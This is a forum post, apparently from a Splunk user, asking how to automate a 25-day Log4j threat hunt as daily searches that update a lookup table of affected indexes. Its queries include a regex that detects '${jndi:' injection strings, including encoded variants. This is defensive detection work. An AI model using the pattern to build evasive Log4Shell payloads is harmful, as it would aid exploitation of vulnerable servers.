TLDR: I'm trying to automate the large 25 day search to break up into 25 separate one day searches. I'm updating a lookup table that is tracking which indexes are affected by the new log4j exploit. ...
See more...
TLDR: I'm trying to automate the large 25 day search to break up into 25 separate one day searches. I'm updating a lookup table that is tracking which indexes are affected by the new log4j exploit. I do this so that I can only have to search through the affected indexes with subsequent searches. This lookup table takes hours each time it is updated for a day. Problem being, I need to know all of the affected indexes over all of the days log4j since December 10th or so. Query that updates lookup table: NOT [| inputlookup log4j_indexes.csv | fields index]
| regex _raw="(\$|%24)(\{|%7B)([^jJ]*[jJ])([^nN]*[nN])([^dD]*[dD])([^iI]*[iI])(:|%3A|\$|%24|}|%7D)"
| table index
| inputlookup append=true log4j_indexes.csv
| dedup index
| outputlookup log4j_indexes.csv Each time this query finishes, it appends log4j-exploit-affected indexes to the lookup table. I need to automate the scanning over a large timeframe (December 10th 2021 - January 5th 2022). However, I want the lookup table to update as it runs over each day. I'm trying to automate the large 25 day search to break up into 25 separate one day searches. This also makes it so that if the search fails, then I don't lose all progress. I can then apply this same methodology to other searches. Lookup Table (Log4J_affected_indexes) Index index_1 index_2 How I've tried to solve the problem Commands I've tried while attempting to solve: foreach map gentimes subsearch saved searches Gentimes (smaller timeframes) -> map Explanation of Query below: The gentimes part creates a table based on the selected timerange: Earliest Latest 01/02/2022:00:00:00 01/03/2022:00:00:00 01/03/2022:00:00:00 01/04/2022:00:00:00 01/04/2022:00:00:00 01/05/2022:00:00:00 I try to pass those values to a subsearch as the earliest and latest parameters using map. I understand now that map doesn't seem to work for this, and I get no results when the search runs. (gentimes and map) Query: |gentimes start=-1
|addinfo
|eval datetime=strftime(mvrange(info_min_time,info_max_time,"1d"),"%m/%d/%Y:%H:%M:%S")
|mvexpand datetime
|fields datetime
|eval latest=datetime
|eval input_earliest=strptime(datetime, "%m/%d/%Y:%H:%M:%S") - 86400
|eval earliest=strftime(input_earliest, "%m/%d/%Y:%H:%M:%S")
|fields earliest, latest
| map search="search NOT [| inputlookup log4j_indexes.csv | fields index] earliest=$earliest$ latest=$latest$
| regex _raw=\"(\$|\%24)(\{|\%7B)([^jJ]*[jJ])([^nN]*[nN])([^dD]*[dD])([^iI]*[iI])(:|\%3A|\$|\%24|}|\%7D)\"
| table index
| inputlookup append=true log4j_indexes.csv
| dedup index
| outputlookup log4j_indexes.csv" Gentimes subsearch -> main search Explanation of Query below: I use gentimes in a subsearch to produce smaller timeframes from the larger selected timeframe: Earliest Latest 01/02/2022:00:00:00 01/03/2022:00:00:00 01/03/2022:00:00:00 01/04/2022:00:00:00 01/04/2022:00:00:00 01/05/2022:00:00:00 This doesn't give me errors. However, I get no matches. I can almost guarantee this isn't running separate searches per value displayed in the above table. I'm not sure how this can be done. (gentimes subsearch) Query: NOT [| inputlookup log4j_indexes.csv | fields index]
[|gentimes start=-1
|addinfo
|eval datetime=strftime(mvrange(info_min_time,info_max_time,"1d"),
"%m/%d/%Y:%H:%M:%S")
|mvexpand datetime
|fields datetime
|eval latest=datetime
|eval input_earliest=strptime(datetime,"%m/%d/%Y:%H:%M:%S") - 86400
|eval earliest=strftime(input_earliest,"%m/%d/%Y:%H:%M:%S")
|fields earliest, latest]
| regex _raw="(\$|\%24)(\{|\%7B)([^jJ]*[jJ])([^nN]*[nN])([^dD]*[dD])([^iI]*[iI])(:|\%3A|\$|\%24|}|\%7D)"
| table index
| inputlookup append=true log4j_indexes.csv
| dedup index
| outputlookup log4j_indexes.csv Conclusion Other failed attempts: using foreach (can't do non-streaming) passing earliest and latest parameters to saved-search savedsearch doesn't work this way Other solutions I've thought of: Running subsearch that updates a smaller_timeframe.csv file that keeps track of the smaller timeframes. Then, pass those timeframe parameters (earliest / latest) into a search somehow. Somehow do a recursive sort of search where each search triggers another search to go. Consequently, I could have a search trigger another search with the earliest and latest values incremented forward one day (or any amount of time). Maybe, Splunk has a feature (not on the search head) that can automate the same search over small timeframes, and over a large period of time. Maybe this unknown-to-me feature also has scheduling built into it. If there is any other information that I can give to help others solve this with me, then just ask. I can edit this post...